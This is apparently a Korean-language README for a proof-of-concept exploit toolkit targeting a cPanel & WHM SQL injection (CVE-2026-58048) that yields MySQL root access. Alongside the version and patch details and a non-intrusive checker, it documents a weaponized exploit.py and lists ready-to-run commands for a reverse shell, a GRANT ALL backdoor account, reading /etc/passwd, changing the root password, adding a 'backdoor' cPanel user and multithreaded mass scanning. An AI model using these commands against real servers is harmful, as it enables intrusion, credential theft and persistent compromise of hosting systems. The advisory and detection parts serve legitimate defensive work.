
CVE‑2026‑58048 – cPanel 루트 SQL 실행 툴킷

윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
취약점 개요
CVE‑2026‑58048은 cPanel & WHM 11.x 버전의 치명적인 SQL 인젝션 취약점으로, 인증된 cPanel 사용자가 데이터베이스 이름 변경 기능을 통해 MySQL 루트 권한으로 임의의 SQL 명령을 실행할 수 있게 합니다.
작동 방식
- 인증된 접근 필요 – 공격자는 대상 서버에 유효한 cPanel 계정(사용자 이름/비밀번호)을 보유해야 합니다.
- SQL 모드 조작 – 익스플로잇은 MySQL 세션을
ANSI_QUOTES 모드로 설정하여 파싱 동작을 변경합니다.
- 데이터베이스 이름 변경 인젝션 – 데이터베이스 이름을 변경할 때 새 이름이 적절히 정제되지 않아 공격자가 임의의 SQL 문을 주입할 수 있습니다.
- 루트 권한 – 이름 변경 작업이 MySQL 루트 권한으로 실행되므로 주입된 SQL이 최고 데이터베이스 권한으로 실행됩니다.
- 영향 – 전체 데이터베이스 탈취, 권한 상승, 서버 침해, 데이터 도난, 백도어, 측면 이동. 즉시 업그레이드하세요!
영향받는 버전
- cPanel & WHM 11.110 및 이전 – 취약
- 11.111 – 11.118 – 취약
- 11.119 – 11.126 – 취약
- 11.127 – 11.134 – 취약
- 11.135 – 11.136 – 취약
- 11.137.x –
11.137.1.6 미만 취약
- 11.138.1.6 및 이후 – 패치됨
패치
- cPanel & WHM 11.138.1.6 이상으로 업그레이드하세요.
- 업그레이드가 불가능한 경우, 임시 방편으로 cPanel 사용자의 MySQL 이름 변경 작업을 비활성화하세요.
도구
| 도구 | 목적 | 대상 사용자 |
|---|
exploit.py | 리버스 셸, 지속성, UDF RCE, 파일 읽기/쓰기, 데이터베이스 작업, 프록시 지원, 대량 스캔을 포함한 완전한 무기화 툴킷. | 레드팀 / 승인된 침투 테스터 |
safecheck.py | 악성 페이로드를 실행하지 않고 cPanel 버전을 감지하고 위험을 평가하는 비침투적 취약점 검사기. 상세 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
기능 비교
| 기능 | exploit.py | safecheck.py |
|---|
| 취약점 탐지 | [+] | [+] |
| 버전 탐지 | [+] | [+] |
| MySQL 루트 SQL 인젝션 | [+] | [-] |
| 리버스 셸 | [+] | [-] |
| 지속성 (cPanel 사용자 생성) | [+] | [-] |
| UDF RCE (명령 실행) | [+] | [-] |
| 파일 읽기/쓰기 | [+] | [-] |
| 데이터베이스 작업 (모든 SQL) | [+] | [-] |
| 프록시 지원 | [+] | [+] |
| 대량 스캔 (멀티스레드) | [+] | [-] |
| 대화형 셸 | [+] | [-] |
| 비침투적 (안전) 모드 | [-] | [+] |
| 상세/디버그 모드 | [+] | [+] |
| SSL 검증 제어 | [+] | [+] |
| 사용자 정의 User‑Agent | [+] | [+] |
| 요청 지연 / 재시도 | [+] | [-] |
| JSON / 보고서 출력 | [+] | [+] |
| 엔드포인트 접근성 확인 | [-] | [+] |
| SQL 모드 누출 탐지 | [-] | [+] |
사용 사례 요약
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – cPanel 설치가 취약한지 확인 | safecheck.py |
| 보안 감사 – 비침투적 취약점 평가 | safecheck.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safecheck.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py (탐지만) |
| 사고 대응 – 시스템이 침해되었는지 확인 | safecheck.py |
설치
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requirements.txt
requests
urllib3
colorama
pymysql
매개변수
exploit.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-l, --target-file | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나씩) |
-u, --mysql-user | cPanel/MySQL 사용자 이름 |
-P, --mysql-pass | cPanel/MySQL 비밀번호 |
--mysql-port | MySQL 포트 (기본값: 3306) |
-p, --port | cPanel 포트 재정의 (URL 또는 2083에서 기본값) |
--threads | 다중 대상용 스레드 수 (기본값: 10) |
-o, --output | 결과를 파일에 저장 (단일 대상) |
--log | 상세 출력용 로그 파일 |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
-ua, --user-agent | 사용자 정의 User‑Agent |
--no-keep-alive | 세션을 활성 상태로 유지하지 않음 |
--delay | 요청 간 지연 (기본값: 2.0초) |
--max-retries | 최대 재시도 횟수 (기본값: 3) |
--ssl-verify | SSL 인증서 검증 |
--cmd | 실행할 명령 (특정 작업의 경우 sql: 또는 udf: 접두사 사용) |
--inject | 주입할 사용자 정의 SQL (다른 작업을 재정의) |
--reverse-shell | 리버스 셸 IP:PORT (UDF 사용) |
--passwd | MySQL 루트 비밀번호 변경 |
--adduser | cPanel 사용자 생성 (USER DOMAIN PASSWORD) |
--read | LOAD_FILE을 통해 파일 읽기 |
-i, --interactive | 익스플로잇 후 대화형 셸 |
--verify | MySQL 로그인을 시도하여 익스플로잇 성공 확인 |
--ping | 익스플로잇 전 대상 핑 |
safecheck.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
-ua, --user-agent | 사용자 정의 User‑Agent |
--ssl-verify | SSL 인증서 검증 |
--timeout | 요청 타임아웃(초) (기본값: 10) |
--log | 보고서를 파일에 저장 |
--json | 결과를 JSON 형식으로 출력 |
시나리오
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | 보고서를 포함한 상세 스캔 | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | 리버스 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 사용자 정의 SQL 실행 (루트) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | 민감한 파일 읽기 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | MySQL 루트 비밀번호 변경 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 새 cPanel 사용자 생성 (지속성) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 익스플로잇 후 대화형 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 파일에서 대량 스캔 | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | 프록시 및 사용자 정의 User‑Agent 사용 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
엔드포인트 및 API 사용
익스플로잇은 다음 cPanel UAPI 엔드포인트를 사용합니다:
| 엔드포인트 | 목적 |
|---|
/execute/Mysql/create_database | 임시 데이터베이스 생성 |
/execute/Mysql/delete_database | 생성된 데이터베이스 정리 |
/execute/Mysql/rename_database | 취약한 엔드포인트 – SQL 인젝션 유발 |
/execute/Version/get_version | 인증 및 버전 확인 |
/execute/UserManager/create_user | 새 cPanel 사용자 생성 (지속성) |
/execute/UserManager/list_users | 기존 사용자 나열 |
책임 있는 사용
- 이 도구는 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하세요.
- 무단 접근은 불법이며 비윤리적입니다.
- 저자는 어떠한 오용에 대해서도 책임지지 않습니다.
- 항상 해당 국가의 법률과 규정을 준수하세요.
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.